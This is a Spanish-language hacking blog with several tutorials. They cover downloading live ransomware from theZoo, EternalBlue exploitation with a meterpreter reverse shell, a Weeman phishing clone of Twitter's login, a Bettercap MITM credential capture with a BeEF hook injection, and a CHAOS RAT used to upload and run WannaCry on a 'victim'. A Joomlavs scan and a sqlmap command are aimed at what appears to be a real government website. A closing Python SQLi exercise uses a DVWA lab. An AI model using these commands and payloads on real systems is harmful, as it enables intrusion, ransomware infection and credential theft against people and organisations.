lunes, 18 de septiembre de 2017

theZoo - Proyecto de análisis de Malware

Saludos mis queridos fieles lectores, en esta oportunidad les traigo TheZoo es un proyecto con muchos años de elaboración con el único fin de analizar los Malwares mas peligrosos y conocidos a nivel mundial.

Entre ellos tenemos: Wannacry, Petya, TeslaCrypt, Stuxnet, Zeus en casi todas sus versiones , Rat's, SpyEye entre muchos.

Binarios:





https://github.com/ytisf/theZoo/tree/master/malwares/Binaries

Común mente un analizador de malware mediante depuradores de código ensamblador como Ollydbg entre otros. ( Descompila un binario y puede ver los procesos y acciones  que se ejecutan en cada evento)

Payload camuflado en Raidcall.exe



theZoo también nos proporciona Malwares con sus respectivos códigos abiertos.

Códigos:




https://github.com/ytisf/theZoo/tree/master/malwares/Source/Original

Lo mas asombroso son los "Exploitkit" que en su momento valieron mucho dinero. entre ellos el rescata ble BlackHole


Una colección que sin duda es muy beneficiosa para los amantes de análisis de malware, pero  toda acción tiene reacción.

Por ejemplo subir los ransomware que son bastante perjudiciales en los ordenadores de las victimas ya sea por ataques remotos, Post-explotación o simplemente de manera manual en entornos físicos.
como por ejemplo el "Wannacry" o el "Petya"



Este servidor ha enseñado en artículos anteriores como ejecutar malware de manera remota por medio de RAT, Msfconsole o frameworks nuevos como Empire, pupy, chaos entre otros, que puedes encontrar en este humilde blog.

https://www.backtrackomar.com/search?q=metasploit
https://www.backtrackomar.com/search?q=framework


Bueno descargamos los repositorios e instalamos los requisitos correspondientes:

root@kali:~# git clone https://github.com/ytisf/theZoo/

root@kali:~# cd theZoo/
root@kali:~/theZoo# pip install -r requirements.txt 

Luego daremos permisos al aplicativo y lo ejecutaremos:

root@kali:~/theZoo# chmod +x theZoo.py 
root@kali:~/theZoo# python theZoo.py 

Podemos observar que nos sale un mensaje de alerta respecto a la peligrosidad de los archivos. nosotros le daremos Yes.




El entorno es bastante flexible para interactuar (Framework) comencemos.
vamos interactuando con comandos.

mdb #> help

 Available commands:

search              Search for malwares according to a filter, e.g 'search cpp worm'.
list all             Lists all available modules
use                 Selects a malware by ID
info                 Retreives information about malware
get                 Downloads selected malware
report-mal   Report a malware you found
update-db   Updates the databse
help                 Displays this help...
exit                 Exits...

Luego de leer las respectivas opciones, vamos a buscar un ransomware conocido el "Petya":

mdb #> search petya

Nuestra búsqueda fue correcta, en carácter # es su (ID) identificador que nos permite usarlo:

mdb #> use 165

Ahora utilizaremos get para descargar el binario & source.


mdb Petrwrap#> get

Hemos descargado varios archivos en la carpeta de raiz, el que nos interesa esta en formato ZIP (Donde se encuentra el binario)

Lo extraemos:

root@kali:~/theZoo# ls
root@kali:~/theZoo# unzip Ransomware.Petrwrap.zip 

Postdata: La contraseña de todos los archivos es: infected

Tú eres el ubico responsable: solo acuérdate algo "Toda acción, tiene su reacción."

Saludos y éxitos mi fiel lector, un fuerte abrazo desde Perú. 

MS17-010 EternalBlue - Remote Hacked Windows 7/8 64BITS Metasploit



Saludos mis queridos fieles lectores, luego de ver algunos mensajes de nuestros seguidores respecto al Exploit MS17-010 EternalBlue que fue una bomba a inicios del mes de marzo.

Si bien es cierto este Exploit fue publicado gracias a una fuga de información - "Leak".
Afecto a muchas empresas a nivel mundial aprovechando la vulnerabilidad SMB  en el puerto 445 para ejecutar códigos maliciosos remotamente, efectuando ataques APT'S mundiales como el ransomware "Wannacry" y "Petya"

En el anterior POST enseñe como puedes ejecutar este ransomware en el sistema de tu victima:
https://www.backtrackomar.com/2017/09/generando-payloads-con-chaos-framework.html

¿Como funciona Eternalblue?

EternalBlue aprovecha una vulnerabilidad en la implementación del protocolo Server Message Block (SMB) de Microsoft. Esta vulnerabilidad, denotada como CVE-2017-0144 en el catálogo Common Vulnerabilities and Exposures (CVE), se debe a que la versión 1 del servidor SMB (SMBv1) acepta en varias versiones de Microsoft Windows paquetes específicos de atacantes remotos, permitiéndoles ejecutar código en el ordenador en cuestión.

Referencia: https://es.wikipedia.org/wiki/EternalBlue

Comencemos 

El exploit se encuentra en los repertorios de msfconsole instalado, si no lo tienes actualizalo.

root@kali:/# apt update && apt upgrade && apt dist-upgrade 

Otra alternativa:

root@kali:/# msfupdate

Bueno lo primero que debes hacer tu como "Analizador" en un entorno real "Abrir los puertos de tu Router" o elaborarlo desde un VPS (Por su seguridad de identidad si el caso lo a merita)

En primer instancia haremos un escaneo en mi red local para encontrar los dispositivos conectados:

Nmap - Mapeando redes y verificando que puertos tienen abiertos:

root@kali:/# nmap 192.168.1.1/24 -O sU -sT


POST: https://www.backtrackomar.com/2014/04/aprendiendo-nmap-nivel-basico.html

Nuestro objetivo tiene el puerto 445 y por lo que nos indica Nmap corre Windows 7 por la cantidad de repeticiones.

Vamos a utilizar el script " de análisis vulnerabilidades de nmap para testear si es vulnerable.

root@kali:/# nmap --script smb-vuln-ms17-010.nse -p445  192.168.1.3

Genial, a continuación ejecutaremos msfconsole para la explotación remota, pero antes activen el servidor de base de datos.

root@kali:/# service postgresql start
root@kali:/# msfconsole 


Source:
-------------------------------------------------------------------------------------------------------------------------
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set RHOST 192.168.1.3
RHOST => 192.168.1.3
msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) > set lhost 192.168.1.33
lhost => 192.168.1.33

msf exploit(ms17_010_eternalblue) > exploit
--------------------------------------------------------------------------------------------------------------------------

Luego que se ejecute el código malicioso remotamente, hemos tenido la sesión meterpreter de nuestra victima:

El sistema esta completamente comprometido,  si deseas interactuar el S.O de la victima te dejo un articulo de hace años. se que te ayudara.


! Saludos !


jueves, 7 de septiembre de 2017

Clonando plataformas web con Weeman

Saludos mis queridos fieles lectores en esta oportunidad les traigo un automatizador  para clonar plataformas web de manera rápida y sencilla.

¿Que es Weeman?

Es una herramienta desarrollada en Python para clonar cualquier sitio web y capturar los datos almacenados.
(Soporta HTTP & HTTPS)

Instalación:

root@kali:/# https://github.com/evait-security/weeman.git
root@kali:/# cd weeman

Requisitos: bs4

root@kali:/# pip install bs4

Ejecutando:

root@kali:/# cd weeman

weeman > set url https://twitter.com                                     (Sitio web que deseamos clonar)
weeman > set action_url https://twitter.com/login/error       (Redirección de la pagina)
weeman > set port 80                                                            (Puerto por defecto)
weeman > run

Si observamos nos sale que el puerto esta en USO, porque tengo el apache activado. ( de manera automatizada te establece el puerto de escucha)

weeman > set port 8080
weeman > run

Enviamos nuestra URLa nuestra victima ( claro con nuestra IP Lan o WAN )

Cuando nuestra victima ingrese sus credenciales correspondientes de manera automática lo redireccionara:

¿Muy creíble verdad?, ahora en segundo plano ustedes tendrán sus credenciales:





Framework Bettercap - MITM

Saludos mis fieles lectores en esta oportunidad aprenderemos a realizar un ataque MITM y manipular el trafico de paquetes burlando la seguridad SSL de algunas plataformas.

¿Que es Bettercap?

Es una herramienta potente, flexible y portátil creada para realizar varios tipos de ataques MITM contra una red, manipular HTTP, HTTPS y tráfico TCP en tiempo real, capturar las credenciales y mucho más.

Referencia:
https://www.bettercap.org

Instalación: 

Instalaremos la dependencias, librerías gems de ruby y instalaremos desde los repositorios oficiales de Kali Linux.

root@kali:~# sudo apt-get install build-essential ruby-dev libpcap-dev
root@kali:~# apt-get update
root@kali:~# apt-get install bettercap

Otro metodo de instalación es mediante gem:

root@kali:~# gem install bettercap

Si deseas actualizar a una versión nueva ejecutas lo siguiente:

root@kali:~# gem update bettercap

En algunas oportunidades si ejecutamos desde la terminal bettercap nos arrojaría un error, para repararlo lo recomendable es bajar el repositorio de Github y proceder manualmente:

root@kali:~#  git clone https://github.com/evilsocket/bettercap
root@kali:~# cd bettercap
root@kali:~# gem build bettercap.gemspec
root@kali:~# sudo gem install bettercap*.gem

Si persiste el error debe fijarse si tiene la ultima versión de Ruby y Bundle simplemente:

root@kali:~# apt-get upgrade && gem install bundler

Luego de configurar correctamente bettercap pasaremos a ejecutarlo:

root@kali:~# sudo bettercap --proxy -P POST

En escenario hemos elegido capturar todos los paquetes de los dispositivos que se conecten a nuestra red bypasseando el protocolo SSL/HSTS de los servidores web protegidos.

Victima:







Podemos observar que hemos capturado un correo hotmail.com, también podemos utilizar driftnet para ver las imágenes de las webs visitadas.

root@kali:~# driftnet -i wlan0  ( en mi caso estoy conectado desde Wi-Fi ) si usted esta desde un cable de red es "eth0"

 De igual manera pueden ejecutar un ataque de direccionamiento con un Payload o un JS de BeEF infectando a tu victima mediante su navegador.

root@kali:~# bettercap --proxy-module --js-url http://192.168.1.2:3100/hook.js

Si usted desea ejecutar un ataque dirigido a un HOST especifico puede ejecutar lo siguiente:

root@kali:~#  bettercap -T 192.168.1.4 --proxy -P POST

Si desea saber que dispositivos están conectados a su red puede realizar un mapeo de redes con nmap mediante su rango:

root@kali:~#  nmap -sS -v -O 192.168.1.1/24

POST BeEF: 
https://www.backtrackomar.com/2015/10/beef-browser-exploitation-framework.html

POST Nmap:
https://www.backtrackomar.com/2014/04/aprendiendo-nmap-nivel-basico.html

! Saludos !, ahora si hasta mas tarde mi fiel lector son las 4:54 de la mañana acá en Perú y este servidor tiene sueño jaja.

CHAOS Framework & Wannacry Attack Windows


Saludos mis queridos fieles lectores en esta oportunidad aprenderemos a manejar el nuevo Framework "Chaos" POST-EXPLOITATION.

¿Que es Chaos Framework? 

Es un generador de Payloads para Windows que nos permite controlar remotamente el sistema de nuestra victima.

Instalamos el requisito Golang para poder ejecutarlo.

root@kali:~# apt install golang upx-ucl -y

Luego descargaremos el repositorio correspondiente.


root@kali:/# git clone https://github.com/tiagorlampert/CHAOS.git

Opciones:

  •  Windows Remote Control
  •  Download File
  •  Upload File
  •  Persistence
  •  Open Url Remotely
  •  Get Operating System Name
  •  Run Fork Bomb

Ejecutando:

root@kali:/CHAOS# go run CHAOS.go

En este escenario nos aparecerá 3 opciones:


  [1] Generate
  [2] Listen
  [3] Quit

  • la primera opción es para crear nuestro Payload.
  • la segunda opción para encender nuestro servidor de escucha.
Ejecutaremos la primera:













Añadimos nuestra IP y nuestro puerto, luego nos aparecerá el siguiente mensaje si  deseamos comprimir nuestro payload en UPX, en este caso le daremos que NO.

Luego nos aparecerá la siguiente linea: Start Listener Now? (Y/n) que nos indica si deseamos iniciar la conexión de escucha, le daremos si.

Nuestro archivo infectado se encuentra en la carpeta CHAOS, se lo enviaremos a nuestra victima mediante cualquier tipo metodología. al ejecutarse el payload nos establecerá la conexión: 

Podemos observar las opciones correspondientes, vamos abrirle una pagina de porno a nuestra victima jajaja.




CHAOS > openurl
Type URL to Open: www.xvideos.com

CHAOS > getos
Name                                                                   
Microsoft Windows 7 Ultimate |C:\Windows|\Device\Harddisk0\Partition2  

Supongamos que el servidor es dedicado de una empresa y un Ciber criminal desea extorsionar a los empleados secuestrando los archivos del ordenador vulnerado mediante un "Ransomware"


CHAOS > upload
File Path to Upload: /root/data.exe
Output name: data.exe

CHAOS > cmd
C:\Users\code7\Downloads>CHAOS > data.exe

Subimos el archivo del Wannacry luego lo ejecutamos por la consola de la victima y listo.

También pueden ejecutar el modulo: persistence enable para tener la persistencia del payload en el sistema.

Saludos :)

Auditando servidores Joomla con Joomlavs

Saludos mis fieles lectores en esta oportunidad les enseñare auditar plataformas en Joomla, con este nuevo escaner de vulnerabilidades.

¿Que es Joomalavs? 

Es un escaner de vulnerabilidades elaborado en Ruby, con el objetivo de encontrar agujeros de seguridad en componentes, módulos y temas instalados en la plataforma web.

Instalación:

root@kali:~# git clone https://github.com/rastating/joomlavs.git
root@kali:~# cd joomlavs/
root@kali:~/joomlavs# sudo gem install bundler && bundle install

descargamos el repositorio en Github y proceder a instalar el bundler y los requerimientos gems, deben instalar las dependencias.

root@kali:~# sudo apt-get install build-essential patch
root@kali:~# sudo apt-get install ruby-dev zlib1g-dev liblzma-dev libcurl4-openssl-dev

Completado toda la instalación pueden ver el modo de uso. 

Opciones:


uso: joomlavs.rb [opciones]
Opciones básicas
    -u, --url La URL / dominio de Joomla que se va a escanear.
    --basic-auth <nombre de usuario: contraseña> Las credenciales básicas de autenticación HTTP
    -v, --verbose Activar modo detallado
Opciones de enumeración
    -a, --scan-all Analiza todas las extensiones vulnerables
    -c, --scan-components Búsqueda de componentes vulnerables
    -m, --scan-modules Búsqueda de módulos vulnerables
    -t, --scan-templates Búsqueda de plantillas vulnerables
    -q, --quiet Escanear utilizando sólo métodos pasivos
Opciones avanzadas
    --follow-redirection Seguir automáticamente los redireccionamientos
    --no-color Deshabilitar colores en la salida
    --proxy <[protocolo: //] host: puerto> HTTP, SOCKS4 SOCKS4A y SOCKS5 son compatibles. Si no se proporciona ningún protocolo, HTTP se utilizará
    --proxy-auth <nombre de usuario: contraseña> Las credenciales de autenticación de proxy
    --threads El número de subprocesos a utilizar cuando se solicitan multi-subprocesos
    --user-agent La cadena del agente de usuario para enviar con todas las peticiones

Ejecución:

root@kali:~/joomlavs# ruby joomlavs.rb -u http://www.agroarequipa.gob.pe -a 

Estamos realizando un análisis completo de todos modulos, plugins y temas vulnerables que se encuentren en dicho servidor...

En consecuente nos arrojan varias vulnerabilidades de tipo SQL Injection, con las referencias de los PoC en Exploit-DB:


GET PAYLOAD:

GET Payload : index.php?option=com_gallery_wd&view=gallerybox&image_id=19&gallery_id=2&theme_id=1

Error-Based blind / inyección a ciegas.

Vista de error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY t1.`order` asc' at line 1 SQL=SELECT t1.*,t2.rate FROM #__bwg_image as t1 LEFT JOIN (SELECT rate, image_id FROM #__bwg_image_rate WHERE ip="204.52.135.190") as t2 ON t1.id=t2.image_id WHERE t1.published=1 AND t1.gallery_id= ORDER BY t1.`order` asc

Otros parámetros:



Todos los parametros simple_prod.

Testando con SQLMAP:

sqlmap -u "http://www.agroarequipa.gob.pe/index.php?option=com_gallery_wd&view=gallerybox&image_id=19&gallery_id=2&theme_id=1" -p theme_id --random-agent --dbms=MySQL --tamper="charencode,between" --dbs

Saludos!

domingo, 20 de noviembre de 2016

Hacking con Python - Interactuando con servidores web


 


Saludos mis queridos fieles lectores bueno en esta oportunidad deseo aclarar lo siguiente hace mas de 1 año estuve aprendiendo Python pero lamentablemente deje de estudiar ese lenguaje por motivos personales, hace 2 semanas llevo aprendiendo nuevamente las bases y todo lo demás.

Cabe de decir que en todos mis aprendizajes que emplee en mi conocimiento, serán expuestos en el blog para compartir con ustedes mi mejoramiento.

Si deseas aprender python y dar tus primeros pasos en este lenguaje sencillo pero a la vez muy potente, dejare un post que realice hace mucho tiempo.

http://www.backtrack-omar.com/2015/02/aprendiendo-python-nivel-basico-parte-1.html


¿Qué es Python?

Python es un lenguaje de alto nivel  orientado a objetos, La sintaxis de python   es muy limpia, su código es muy legible y es muy fácil de entenderlo.
Antes de comenzar por favor trata de leer el anterior POST.

Este escenario lo haremos desde el sistema operativo Kali linux - Debian, que por defecto lo tiene instalado, si utilizas un sistema Linux desde 0 puedes utilizar APT para instalarlo desde la terminal.

root@kali:~# apt-get install python

Algo que debo mencionar, es que trabajemos con la versión 2.7.X.

Descarga:

 Windows: https://www.python.org/downloads/windows/
 Mac  OShttps://www.python.org/downloads/mac-osx/


Después de tener instalado Python puedes ejecutarlo por la misma terminal:

Cambien puedes utilizar un IDE yo recomiendo Ninja-IDE, lo pueden descargar de su pagina oficial:

http://ninja-ide.org/downloads/

En mi caso tengo que descargar la versión debian en formado .deb, para poder instalarlo.
 
root@kali:~/Downloads# dpkg -i ninja-ide_2.3+r597~saucy1_all.deb 



También puedes instalar Sublime-Text para este escenario, para escribir código y activar su opción Build para poder ejecutar lo que estas programando, pero por mi parte no lo recomiendo, es mejor ejecutarlo por Ninja-IDE O por la terminal el archivo:  python ejemplo.py 

Vamos a utilizar algunas librerías dedicadas al manejo de plataformas web, empecemos.


Mechanize:

Es una librería que nos permite interactuar con cualquier plataforma web, como si estuviéramos en un navegador gráfico, ya que manipularemos los envíos de las peticiones en cualquier tipo de instancia.

Mechanize tiene 2 componentes principales:

Browser   -  Nos permite interactuar de manera completa a cualquier servidor web.

Controles - Nos permiten interactuar con  la informacion  de un servicio en su mayoría de codificación html. 


En esta prueba de concepto vamos a elaborar las peticiones desde mi servidor que esta alojado en una maquina virtual corriendo en XAMPP, ustedes pueden observar que la plataforma es "DVWA".

Bien lo que primero haremos, sera añadir la librería en nuestro proyecto de la siguiente manera:

import mechanize

si no  tienes esta librería no te preocupes, puedes instalarla de esta manera desde tu terminal:

pip install mechanize

luego crearemos nuestros objetos para definir nuestras instancias, y empezar a enviar nuestra peticiones.



>>> import mechanize

Importamos nuestra librería mechanize.  

>>> brow = mechanize.Browser()


creamos una instancia del objeto Browser de mechanize, para poder hacer peticiones a los servidores http.

>>> respuesta = brow.open('http://192.168.1.46/DVWA/login.php')


luego de ello utilizamos la instancia open para poder interactuar con nuestro primer objeto llamado brow y establecer una petición con url http://192.168.1.46/DVWA/login.php'

>>> print respuesta.geturl()


Entonces nosotros queremos recibir la respuesta del servidor, por ello le daremos print en el objeto respuesta y añadiremos geturl que nos permitirá obtener la url del servidor.  

>>> print respuesta.info()


Nos permitirá poder recibir la respuesta de informacion del servidor.

Date: Mon, 21 Nov 2016 04:29:00 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.5.38
X-Powered-By: PHP/5.5.38
Set-Cookie: PHPSESSID=0h5f5rqpo4a06hduh8e067lg16; path=/
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=0h5f5rqpo4a06hduh8e067lg16; path=/; httponly
Set-Cookie: security=impossible; httponly
Content-Length: 1567
Connection: close
Content-Type: text/html;charset=utf-8
Content-Type: text/html; charset=UTF-8
 


Si nosotros podemos ver este tipo de informacion de la versiones del servicios que  tiene, podemos ver que nos arroja como resultado:
 

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.5.38

Fácilmente podemos buscar "Exploits", para poder elaborar un ataque remoto si lo vemos de esa perspectiva.
 
Bien continuemos con esto, si nosotros deseamos enviar peticiones a formularios, en este ejemplo buscaremos "vulnerabilidades SQLi metodo POST", para ello tengo el siguiente escenario.
  
Nuevamente añadiré mi instancia y todo los procesos para poder establecer una respuesta del servidor.  

>>> import mechanize
>>> br = mechanize.Browser()
>>> respuesta = br.open('http://192.168.1.46/sqlilabs/Less-42/')


Luego vamos a establecer una búsqueda de todos los formularios que contenga el modulo del login.

>>> for form in br.forms():
...     print form
... 


Vemos que nos arroja los siguientes formularios, en la linea 1 llamada login:

<login POST http://192.168.1.46/sqlilabs/Less-42/login.php application/x-www-form-urlencoded
  <TextControl(login_user=)>
  <PasswordControl(login_password=)>
  <SubmitControl(mysubmit=Login) (readonly)>>


comprobaremos si son los mismos formularios, desde el navegador web.

podemos observar que los formularios son los mismos, entonces no hay ningún problema.

Aclaremos los siguientes puntos, mechanize tiene la opción de poder manipular nuestros atributos y establecer los envíos de datos por su modulo submit.

Continuando con siguiente, debemos establecer que linea de formularios trabaremos, como solo existe el valor uno, de manera lógica se establece como 0, si existieran 2 y nuestro formulario estuviera de bajo del primero seria 1

>>> br.select_form(nr=0)


luego de añadir el numero del formulario que trabajaremos.
Vamos añadir los atributos a los respectivos formularios, en esta prueba hemos utilizado un conocido Bypass = ' or 1=1--

>>> br.form['login_user'] = "' or 1=1--"
>>> br.form['login_password'] = "' or 1=1--"


Entonces enviaremos nuestra petición al servidor de la siguiente manera.

>>> br.submit()


<response_seek_wrapper at 0xb73fd12cL whose wrapped object = <closeable_response at 0xb74030ecL whose fp = <socket._fileobject object at 0xb746ed6c>>>


Vemos que nos ha enviado una respuesta, ahora lo que debemos hacer por ultimo es leer la fuente de la pagina ver, para ver que respuesta nos ha arrojado.

>>> print br.response().read()



<html>
<head>
</head>
<body bgcolor="#000000">
<font size="3" color="#FFFF00">
<div align="right">
<a style="font-size:.8em;color:#FFFF00" href='index.php'><img src="../images/Home.png" height='45'; width='45'></br>HOME</a>
</div>

<font size="5" color= "#FFFF00">You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1</font><tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;">
<center>
<img src="../images/slap1.jpg">
</center>
</p></td></tr>


Testing


Sencillo verdad, pero solo estamos estableciendo valores definidos por nosotros mismos, para poder entender Python desde esa perspectiva, para después crear nuestra propios herramientas y establezcan las funciones por si mismas.

Un consejo, si eres el master de una web trata de controlar y ver los registros de las conexiones entrantes.


Si en vez de establecer una petición para auditoria, deseamos entrar a un panel administrativo por medio de sus credenciales.

pues entraremos nuevamente en la plataforma DVWA

Pero como estaremos en un panel administrativo debemos definir nuestra Cookie, para poder establecer conexión persistente desde la terminal, para ello utilizaremos el modulo: cookielib 

>>> import mechanize
>>> import cookielib
>>> br = mechanize.Browser()


La libreria Cookielib sirve para poder establecer una Cookie, para establecer conexión de usuario sin perderla al momento de actualizar o retroceder. 

Luego de ello, hemos instanciado nuestro objetivo Cookiejar, para establecer su función con nuestro modulo mechanize.  

>>> cj = cookielib.LWPCookieJar()
>>> br.set_cookiejar(cj)


Aquí estamos diciendo que no utilizaremos buscada de robots.

>>> br.set_handle_robots(False)


Luego de ello, los que le comentaba si nosotros actualizamos la plataforma por la terminar o regresamos, se nos cerrara la sesión ya que no establecimos el proceso de disponibilidad. 

>>> br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)


se acuerdan que hace momentos mostré los registros de conexiones por XAMPP, en esta instancia nos permite poder modificar nuestros agentes de usuario, quiere decir que podemos hacernos pasar por una sistema MAC OS y simular que estamos navegando desde el navegador Opera.

>>> br.addheaders = [('User-agent', 'Opera/9.25 (Macintosh; PPC Mac OS X; U; en)')]


Entonces estableceremos la URL,que deseamos enviar peticiones.

>>> r = br.open('http://192.168.1.46/DVWA/login.php')


ahora haremos nuevamente una búsqueda de formularios. 


>>> for form in br.forms():
...    print form
... 


<POST http://192.168.1.46/DVWA/login.php application/x-www-form-urlencoded
  <TextControl(username=)>
  <PasswordControl(password=)>
  <SubmitControl(Login=Login) (readonly)>
  <HiddenControl(user_token=e8db4eb8dbfcad683b1ab919c61cb253) (readonly)>>


Si tu defines los atributos, sin especificar con que formulario desees trabajar, te saldrá error, por el simple hecho de no asignar el objeto. 

>>> br.form['username'] = 'admin'


Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'NoneType' object does not support item assignment


Entonces procederemos a elaborar dicha función correctamente asignando el valor 0, ya que en programación el valor inicial 1 es igual a 0

>>> br.select_form(nr=0)


Añadiremos nuestros atributos ( las credenciales reales )

>>> br.form['username'] = 'admin'
>>> br.form['password'] = 'password'


Enviaremos nuestro petición.
 
>>> br.submit()
<response_seek_wrapper at 0xb73d9a6cL whose wrapped object = <closeable_response at 0xb73f004cL whose fp = <socket._fileobject object at 0xb73ce9ac>>>


leeremos la respuesta del servidor por medio del código fuente.

>>> print br.response().read()



Comprobaremos si es el mismo código por medio del navegador gráfico.


Correcto, siempre cuando hagan consultas desde mechanize deben tener en claro que están interactuando como si fuese desde un navegador gráfico, pero desde la terminal.

ahora miremos los logs o registros del servidor apache para ver si nuestro agente de usuario que es Mozilla/Firefox  - Linux 32bits a cambiado a Opera - Mac OS

Espero les halla encantado este humilde articulo, me despido estaré estudiando mas métodos para poder continuar con este pequeño curso de Python.

Saludos!!!!



Datos del Autor


Obra de K. Haring

Actualmente soy estudiante de Ing de sistemas en Perú, me gusta mucho la rama del Pentesting y las Auditorias de plataformas web, actualmente ahora me estoy dedicando a dar ponencias sobre Inseguridad Informática.
Soy una persona sencilla y humilde que me encanta aprender nuevos temas en mis tiempos libres.
Llevo ya casi 2 años y 7 meses en el Pentesting.

"Me considero un novato en busca de conocimiento con estomago de pobre"


Entradas Populares